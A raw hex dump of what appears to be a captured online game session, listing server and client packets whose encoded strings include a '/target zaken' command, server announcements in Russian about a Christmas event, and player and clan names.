00 00 00 00 00 00 00 00 00 00 00 00 04 00 9D 3F 01 10 97 21 00 00 15 00 00 00 14 00 00 00 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 FF FF FF FF FE FF FF FF 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 00 9C 3F 01 10 BF 21 00 00 16 00 00 00 62 00 00 00 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 FF FF FF FF FE FF FF FF 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 00 5E 2F 01 10 CA 0F 00 00 17 00 00 00 09 00 00 00 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 FF FF FF FF FE FF FF FF 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 00 E0 2C 01 10 CB 0F 00 00 18 00 00 00 09 00 00 00 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 FF FF FF FF FE FF FF FF 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 00 9F 29 01 10 97 15 00 00 19 00 00 00 06 00 00 00 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 FF FF FF FF FE FF FF FF 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 00 8C 29 01 10 49 07 00 00 1A 00 00 00 80 03 00 00 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 FF FF FF FF FE FF FF FF 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 00 5A 28 01 10 C8 0F 00 00 1B 00 00 00 24 00 00 00 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 FF FF FF FF FE FF FF FF 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 00 1A 28 01 10 61 07 00 00 1C 00 00 00 48 00 00 00 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 FF FF FF FF FE FF FF FF 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 00 39 26 01 10 98 15 00 00 1D 00 00 00 02 00 00 00 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 FF FF FF FF FE FF FF FF 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 00 B5 24 01 10 93 15 00 00 1E 00 00 00 02 00 00 00 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 FF FF FF FF FE FF FF FF 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 00 97 24 01 10 ED 1E 00 00 1F 00 00 00 03 00 00 00 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 FF FF FF FF FE FF FF FF 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 00 31 24 01 10 7F 15 00 00 20 00 00 00 0B 00 00 00 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 FF FF FF FF FE FF FF FF 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 00 21 24 01 10 7E 15 00 00 21 00 00 00 06 00 00 00 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 FF FF FF FF FE FF FF FF 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 00 D3 23 01 10 4C 07 00 00 22 00 00 00 80 11 00 00 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 FF FF FF FF FE FF FF FF 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 00 81 23 01 10 CA 18 00 00 23 00 00 00 13 00 00 00 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 FF FF FF FF FE FF FF FF 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 00 53 23 01 10 C6 18 00 00 24 00 00 00 13 00 00 00 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 FF FF FF FF FE FF FF FF 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 00 52 23 01 10 51 07 00 00 25 00 00 00 F2 01 00 00 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 FF FF FF FF FE FF FF FF 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 00 2D 23 01 10 92 15 00 00 26 00 00 00 07 00 00 00 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 FF FF FF FF FE FF FF FF 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 00 2C 23 01 10 AD 15 00 00 27 00 00 00 6C 00 00 00 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 FF FF FF FF FE FF FF FF 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 00 AF 22 01 10 8B 15 00 00 28 00 00 00 0B 00 00 00 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 FF FF FF FF FE FF FF FF 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 00 70 22 01 10 8A 15 00 00 29 00 00 00 08 00 00 00 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 FF FF FF FF FE FF FF FF 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 00 6F 22 01 10 57 07 00 00 2A 00 00 00 B4 00 00 00 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 FF FF FF FF FE FF FF FF 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 00 60 22 01 10 77 15 00 00 2B 00 00 00 04 00 00 00 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 FF FF FF FF FE FF FF FF 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 00 5F 22 01 10 67 07 00 00 2C 00 00 00 50 01 00 00 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 FF FF FF FF FE FF FF FF 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 13 22 01 10 04 1A 00 00 0E 00 00 00 01 00 00 00 02 00 00 00 01 00 10 00 00 00 08 00 00 00 00 00 00 00 FF FF FF FF FE FF FF FF 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 F3 1F 01 10 23 02 00 00 2D 00 00 00 01 00 00 00 01 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 FF FF FF FF FE FF FF FF 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 ED 1F 01 10 94 16 00 00 2E 00 00 00 01 00 00 00 01 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 FF FF FF FF FE FF FF FF 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 EC 1F 01 10 88 16 00 00 2F 00 00 00 01 00 00 00 01 00 00 00 00 00 00 02 00 00 00 00 00 00 00 00 00 00 FF FF FF FF FE FF FF FF 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 E4 1F 01 10 C0 19 00 00 30 00 00 00 01 00 00 00 00 00 00 00 00 00 80 00 00 00 08 00 00 00 00 00 00 00 FF FF FF FF FE FF FF FF 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 D6 1F 01 10 4E 09 00 00 31 00 00 00 01 00 00 00 01 00 00 00 00 00 00 80 00 00 00 00 00 00 00 00 00 00 FF FF FF FF FE FF FF FF 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 00 8A 1F 01 10 C9 0F 00 00 32 00 00 00 01 00 00 00 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 FF FF FF FF FE FF FF FF 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 00 F7 19 01 10 66 07 00 00 33 00 00 00 01 00 00 00 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 FF FF FF FF FE FF FF FF 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 00 EC 17 01 10 1B 22 00 00 34 00 00 00 01 00 00 00 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 FF FF FF FF FE FF FF FF 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 00 58 15 01 10 CC 0F 00 00 35 00 00 00 37 00 00 00 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 FF FF FF FF FE FF FF FF 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 00 E8 12 01 10 53 07 00 00 36 00 00 00 49 00 00 00 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 FF FF FF FF FE FF FF FF 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 00 41 0F 01 10 A3 15 00 00 37 00 00 00 01 00 00 00 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 FF FF FF FF FE FF FF FF 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 00 EF 0B 01 10 4A 07 00 00 38 00 00 00 42 00 00 00 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 FF FF FF FF FE FF FF FF 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 00 48 0B 01 10 54 07 00 00 39 00 00 00 7A 00 00 00 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 FF FF FF FF FE FF FF FF 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 00 3D 0B 01 10 4F 07 00 00 3A 00 00 00 83 00 00 00 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 FF FF FF FF FE FF FF FF 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 8B 01 01 10 C1 09 00 00 3B 00 00 00 01 00 00 00 01 00 00 00 00 00 00 01 00 00 00 00 00 00 00 00 00 00 FF FF FF FF FE FF FF FF 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 4E 00 01 10 E4 00 00 00 3C 00 00 00 01 00 00 00 00 00 00 00 00 00 80 00 00 00 08 00 00 00 00 00 00 00 FF FF FF FF FE FF FF FF 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 00 CD EA 00 10 DE 19 00 00 3D 00 00 00 01 00 00 00 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 FF FF FF FF FE FF FF FF 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 00 89 EA 00 10 DE 19 00 00 3E 00 00 00 01 00 00 00 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 FF FF FF FF FE FF FF FF 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 00 88 EA 00 10 DE 19 00 00 3F 00 00 00 01 00 00 00 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 FF FF FF FF FE FF FF FF 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 00 77 EA 00 10 DE 19 00 00 40 00 00 00 01 00 00 00 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 FF FF FF FF FE FF FF FF 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 00 71 EA 00 10 DE 19 00 00 41 00 00 00 01 00 00 00 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 FF FF FF FF FE FF FF FF 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 00 64 EA 00 10 DE 19 00 00 42 00 00 00 01 00 00 00 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 FF FF FF FF FE FF FF FF 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 B2 BD 00 10 89 26 00 00 05 00 00 00 01 00 00 00 00 00 00 00 01 00 00 40 00 00 08 00 00 00 57 2A 2B 1C FF FF FF FF 00 00 00 00 96 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 +S: Len 642 | 82 02 / 45 / 1A 00 00 00 02 00 00 00 16 00 00 00 4E 01 00 00 01 00 00 00 00 01 00 00 00 02 00 00 00 0C 00 00 00 83 00 00 00 03 00 00 00 00 01 00 00 00 02 00 00 00 14 00 00 00 38 01 00 00 14 00 00 00 00 01 00 00 00 01 00 00 00 06 00 00 00 57 EA 03 10 01 00 00 00 FF FF FF FF 00 00 00 00 00 00 00 00 00 00 00 00 02 00 00 00 0D 00 00 00 63 00 00 00 02 00 00 00 00 01 00 00 00 01 00 00 00 22 00 00 00 D2 B3 04 10 01 00 00 00 FF FF FF FF 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 05 00 00 00 D1 14 04 10 01 00 00 00 FF FF FF FF 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 12 00 00 00 9C 3F 01 10 01 00 00 00 FF FF FF FF 00 00 00 00 00 00 00 00 00 00 00 00 02 00 00 00 19 00 00 00 9F 01 00 00 03 00 00 00 00 01 00 00 00 03 00 00 00 00 00 00 00 02 00 00 00 01 00 00 00 01 00 00 00 08 00 00 00 B2 BD 00 10 01 00 00 00 FF FF FF FF 00 00 00 00 00 00 00 00 00 00 00 00 03 00 00 00 23 00 00 00 00 00 00 00 01 00 00 00 01 00 00 00 11 00 00 00 38 B4 04 10 01 00 00 00 FF FF FF FF 00 00 00 00 00 00 00 00 00 00 00 00 02 00 00 00 09 00 00 00 04 00 00 00 01 00 00 00 00 01 00 00 00 02 00 00 00 02 00 00 00 13 00 00 00 25 00 00 00 00 01 00 00 00 01 00 00 00 17 00 00 00 D0 7A 01 10 01 00 00 00 FF FF FF FF 00 00 00 00 00 00 00 00 00 00 00 00 02 00 00 00 0A 00 00 00 6F 00 00 00 01 00 00 00 00 01 00 00 00 01 00 00 00 10 00 00 00 E4 EB 03 10 01 00 00 00 FF FF FF FF 00 00 00 00 00 00 00 00 00 00 00 00 02 00 00 00 0F 00 00 00 62 01 00 00 01 00 00 00 00 01 00 00 00 02 00 00 00 01 00 00 00 65 00 00 00 70 00 00 00 00 01 00 00 00 02 00 00 00 18 00 00 00 A0 01 00 00 02 00 00 00 00 01 00 00 00 02 00 00 00 15 00 00 00 00 01 00 00 01 00 00 00 00 01 00 00 00 02 00 00 00 0E 00 00 00 39 01 00 00 08 00 00 00 00 01 00 00 00 02 00 00 00 03 00 00 00 03 03 00 00 01 00 00 00 00 01 00 00 00 01 00 00 00 0B 00 00 00 AF B3 04 10 01 00 00 00 FF FF FF FF 00 00 00 00 00 00 00 00 00 00 00 00 02 00 00 00 04 00 00 00 57 01 00 00 01 00 00 00 00 01 00 00 00 +S: Len 65 | 41 00 / E8 / 02 00 00 00 00 01 01 E8 03 00 00 74 00 61 00 72 00 67 00 00 00 00 00 00 00 00 01 01 03 00 00 00 00 00 2F 00 74 00 61 00 72 00 67 00 65 00 74 00 20 00 7A 00 61 00 6B 00 65 00 6E 00 00 00 +S: Len 11 | 0B 00 / F2 / 24 11 00 00 06 00 00 00 +S: Len 3 | 03 00 / 13 / +S: Len 878 | 6E 03 / 5F / 43 00 00 00 01 00 00 00 01 00 00 00 89 00 00 00 00 00 00 00 00 09 00 00 00 03 00 00 00 00 01 00 00 00 03 00 00 00 8D 00 00 00 00 00 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 03 00 00 00 9F 01 00 00 00 01 00 00 00 05 00 00 00 8E 00 00 00 00 00 00 00 00 03 00 00 00 83 00 00 00 00 00 00 00 00 18 00 00 00 10 00 00 00 00 01 00 00 00 01 00 00 00 BE 0B 00 00 00 00 00 00 00 25 00 00 00 13 00 00 00 00 00 00 00 00 01 00 00 00 00 01 00 00 00 00 00 00 00 1F 00 00 00 18 00 00 00 00 00 00 00 00 05 00 00 00 1B 00 00 00 00 01 00 00 00 08 00 00 00 94 00 00 00 00 00 00 00 00 01 00 00 00 33 08 00 00 00 01 00 00 00 04 00 00 00 7D 05 00 00 00 01 00 00 00 08 00 00 00 AB 00 00 00 00 01 00 00 00 02 00 00 00 A9 00 00 00 00 01 00 00 00 01 00 00 00 A8 00 00 00 00 01 00 00 00 01 00 00 00 AD 00 00 00 00 00 00 00 00 08 00 00 00 39 01 00 00 00 00 00 00 00 14 00 00 00 38 01 00 00 00 01 00 00 00 01 00 00 00 EA 0D 00 00 00 01 00 00 00 01 00 00 00 17 02 00 00 00 00 00 00 00 01 00 00 00 AA 01 00 00 00 01 00 00 00 01 00 00 00 16 02 00 00 00 00 00 00 00 01 00 00 00 03 03 00 00 00 01 00 00 00 01 00 00 00 AF 01 00 00 00 00 00 00 00 05 00 00 00 A1 01 00 00 00 00 00 00 00 03 00 00 00 A0 01 00 00 00 00 00 00 00 18 00 00 00 38 00 00 00 00 01 00 00 00 03 00 00 00 A2 01 00 00 00 00 00 00 00 01 00 00 00 92 02 00 00 00 00 00 00 00 04 00 00 00 2F 01 00 00 00 00 00 00 00 01 00 00 00 57 01 00 00 00 01 00 00 00 01 00 00 00 C6 00 00 00 00 01 00 00 00 02 00 00 00 C1 00 00 00 00 01 00 00 00 01 00 00 00 C3 00 00 00 00 01 00 00 00 01 00 00 00 C2 00 00 00 00 00 00 00 00 01 00 00 00 44 01 00 00 00 00 00 00 00 01 00 00 00 CB 01 00 00 00 00 00 00 00 01 00 00 00 43 01 00 00 00 00 00 00 00 01 00 00 00 4E 01 00 00 00 01 00 00 00 01 00 00 00 27 0E 00 00 00 01 00 00 00 01 00 00 00 F3 02 00 00 00 01 00 00 00 01 00 00 00 F6 02 00 00 00 01 00 00 00 34 00 00 00 D0 00 00 00 00 01 00 00 00 01 00 00 00 4A 01 00 00 00 01 00 00 00 01 00 00 00 F7 02 00 00 00 01 00 00 00 08 00 00 00 D1 00 00 00 00 01 00 00 00 01 00 00 00 15 0D 00 00 00 01 00 00 00 01 00 00 00 F4 02 00 00 00 01 00 00 00 01 00 00 00 48 01 00 00 00 01 00 00 00 01 00 00 00 F5 02 00 00 00 01 00 00 00 06 00 00 00 EF 00 00 00 00 00 00 00 00 70 00 00 00 65 00 00 00 00 00 00 00 00 02 00 00 00 63 00 00 00 00 00 00 00 00 02 00 00 00 60 00 00 00 00 01 00 00 00 2F 00 00 00 E9 00 00 00 00 01 00 00 00 06 00 00 00 C3 0B 00 00 00 00 00 00 00 01 00 00 00 6F 00 00 00 00 00 00 00 00 01 00 00 00 E2 00 00 00 00 01 00 00 00 03 00 00 00 E1 00 00 00 00 01 00 00 00 09 00 00 00 28 05 00 00 00 00 00 00 00 01 00 00 00 2A 05 00 00 00 01 00 00 00 02 00 00 00 71 00 00 00 00 00 00 00 00 01 00 00 00 62 01 00 00 00 +S: Len 11 | 0B 00 / 62 / 22 00 00 00 00 00 00 00 +S: Len 51 | 33 00 / 4A / 00 00 00 00 0A 00 00 00 45 00 6F 00 77 00 69 00 6E 00 67 00 00 00 4E 00 65 00 77 00 4C 00 61 00 6E 00 64 00 73 00 20 00 50 00 76 00 50 00 00 00 +C: Len 3 | 03 00 / A6 / +S: Len 67 | 43 00 / 4A / 00 00 00 00 0A 00 00 00 00 00 1D 04 30 04 47 04 30 04 3B 04 41 04 4F 04 20 00 4D 04 32 04 35 04 3D 04 42 04 20 00 27 00 43 00 68 00 72 00 69 00 73 00 74 00 6D 00 61 00 73 00 27 00 2E 00 00 00 +C: Len 3 | 03 00 / A6 / +S: Len 255 | FF 00 / 4A / 00 00 00 00 0A 00 00 00 00 00 1D 04 30 04 47 04 30 04 3B 04 41 04 4F 04 20 00 4D 04 32 04 35 04 3D 04 42 04 20 00 27 00 43 00 6F 00 66 00 66 00 65 00 72 00 20 00 6F 00 66 00 20 00 53 00 68 00 61 00 64 00 6F 00 77 00 73 00 27 00 2E 00 20 00 1F 04 3E 04 34 04 40 04 3E 04 31 04 3D 04 3E 04 41 04 42 04 38 04 20 00 3C 04 3E 04 36 04 3D 04 3E 04 20 00 43 04 37 04 3D 04 30 04 42 04 4C 04 20 00 43 04 20 00 4F 00 6D 00 65 00 67 00 61 00 27 00 73 00 20 00 43 00 61 00 74 00 2C 00 20 00 3A 04 3E 04 42 04 3E 04 40 04 3E 04 33 04 3E 04 20 00 12 04 4B 04 20 00 41 04 3C 04 3E 04 36 04 35 04 42 04 35 04 20 00 3D 04 30 04 39 04 42 04 38 04 20 00 32 04 20 00 31 04 3B 04 38 04 36 04 30 04 39 04 48 04 35 04 3C 04 20 00 33 04 3E 04 40 04 3E 04 34 04 35 04 2E 00 00 00 +S: Len 11 | 0B 00 / 62 / EC 04 00 00 00 00 00 00 +S: Len 722 | D2 02 / 32 / 7D CB 00 00 BF 2B FF FF 90 F3 FF FF 88 39 00 00 31 10 03 10 45 00 6F 00 77 00 69 00 6E 00 67 00 00 00 00 00 00 00 01 00 00 00 5C 00 00 00 52 00 00 00 CD 2C 7D B3 02 00 00 00 2F 00 00 00 22 00 00 00 20 00 00 00 15 00 00 00 0B 00 00 00 19 00 00 00 D9 13 00 00 D9 13 00 00 6D 0B 00 00 6D 0B 00 00 E0 35 94 4A 0D DC 01 00 6F 26 06 00 28 00 00 00 8C E8 03 10 DB A3 04 10 E4 A3 04 10 00 A4 04 10 13 22 01 10 70 A4 04 10 4E 20 04 10 B2 BD 00 10 DB 7A 01 10 51 20 04 10 4B 20 04 10 4C 20 04 10 57 20 04 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 AC 02 00 00 EF 24 00 00 EF 24 00 00 F0 24 00 00 04 1A 00 00 F1 24 00 00 CE 24 00 00 89 26 00 00 41 05 00 00 CF 24 00 00 CA 24 00 00 CD 24 00 00 D0 24 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 57 2A 2B 1C 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 44 0E 00 00 93 01 00 00 1B 06 00 00 76 00 00 00 76 00 00 00 46 01 00 00 70 01 00 00 D5 00 00 00 93 01 00 00 F0 05 00 00 00 00 00 00 00 00 00 00 73 00 00 00 58 00 00 00 65 00 00 00 65 00 00 00 73 00 00 00 58 00 00 00 73 00 00 00 58 00 00 00 00 00 00 20 0B 59 F8 3F 00 00 00 20 4B 7E F5 3F 00 00 00 00 00 00 20 40 00 00 00 00 00 00 37 40 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 3E 00 3E 00 2D 00 2D 00 2D 00 3E 00 00 00 48 E3 02 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 02 00 00 00 09 00 00 00 00 00 00 00 00 00 00 11 FE FF 7F 00 09 00 00 00 00 00 00 00 50 00 5C 00 00 00 00 00 00 00 94 09 00 00 94 09 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 FF FF FF 00 01 01 00 00 00 00 00 00 00 77 FF FF 00 00 00 00 00 00 00 00 00 00 00 00 00 96 00 00 00 0A 00 00 00 0A 00 00 00 0A 00 00 00 0A 00 00 00 00 00 00 00 0A 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 00 00 00 +C: Len 7 | 07 00 / 65 / 48 E3 02 10 +S: Len 743 | E7 02 / 5A / 00 00 00 00 48 E3 02 10 00 00 00 00 4E 00 4F 00 4F 00 42 00 53 00 00 00 4E 00 79 00 61 00 6B 00 6F 00 00 00 00 00 00 00 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 11 00 00 00 41 00 73 00 74 00 72 00 61 00 4C 00 45 00 76 00 69 00 4C 00 00 00 51 00 00 00 6E 00 00 00 00 00 00 00 6F 55 03 10 00 00 00 00 00 00 00 00 4B 00 61 00 67 00 6F 00 6E 00 00 00 4E 00 00 00 6B 00 00 00 00 00 00 00 CA 11 03 10 01 00 00 00 00 00 00 00 54 00 61 00 72 00 69 00 65 00 6C 00 00 00 55 00 00 00 67 00 00 00 00 00 00 00 DD 41 04 10 00 00 00 00 00 00 00 00 45 00 6F 00 77 00 69 00 6E 00 67 00 00 00 52 00 00 00 5C 00 00 00 01 00 00 00 31 10 03 10 01 00 00 00 00 00 00 00 41 00 73 00 74 00 72 00 61 00 4C 00 00 00 55 00 00 00 5F 00 00 00 00 00 00 00 2E B7 00 10 00 00 00 00 00 00 00 00 53 00 63 00 68 00 6F 00 6B 00 6B 00 00 00 52 00 00 00 5E 00 00 00 00 00 00 00 F5 D1 00 10 01 00 00 00 00 00 00 00 4E 00 79 00 61 00 6B 00 6F 00 00 00 52 00 00 00 61 00 00 00 01 00 00 00 ED E0 01 10 01 00 00 00 00 00 00 00 57 00 69 00 6E 00 64 00 4D 00 69 00 6C 00 6C 00 00 00 4F 00 00 00 6E 00 00 00 00 00 00 00 08 72 01 10 00 00 00 00 00 00 00 00 46 00 6C 00 61 00 6D 00 65 00 49 00 6E 00 73 00 61 00 6E 00 65 00 00 00 4F 00 00 00 74 00 00 00 00 00 00 00 A3 E7 01 10 01 00 00 00 00 00 00 00 4E 00 69 00 61 00 6B 00 72 00 69 00 73 00 00 00 4B 00 00 00 81 00 00 00 00 00 00 00 64 97 03 10 00 00 00 00 00 00 00 00 6E 00 6F 00 6F 00 62 00 36 00 00 00 01 00 00 00 12 00 00 00 00 00 00 00 EA 4D 05 10 00 00 00 00 00 00 00 00 6E 00 6F 00 6F 00 62 00 00 00 01 00 00 00 12 00 00 00 00 00 00 00 43 46 05 10 00 00 00 00 00 00 00 00 6E 00 6F 00 6F 00 62 00 34 00 00 00 01 00 00 00 19 00 00 00 00 00 00 00 75 45 05 10 00 00 00 00 00 00 00 00 6E 00 6F 00 6F 00 62 00 33 00 00 00 01 00 00 00 12 00 00 00 00 00 00 00 F5 44 05 10 00 00 00 00 00 00 00 00 6E 00 6F 00 6F 00 62 00 32 00 00 00 01 00 00 00 19 00 00 00 00 00 00 00 7E 44 05 10 00 00 00 00 00 00 00 00 6E 00 6F 00 6F 00 62 00 35 00 00 00 01 00 00 00 12 00 00 00 00 00 00 00 D3 46 05 10 00 00 00 00 00 00 00 00 6E 00 6F 00 6F 00 62 00 31 00 00 00 01 00 00 00 12 00 00 00 00 00 00 00 B0 43 05 10 00 00 00 00 00 00 00 00 +S: Len 57 | 39 00 / 8E / 48 E3 02 10 00 00 00 00 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 06 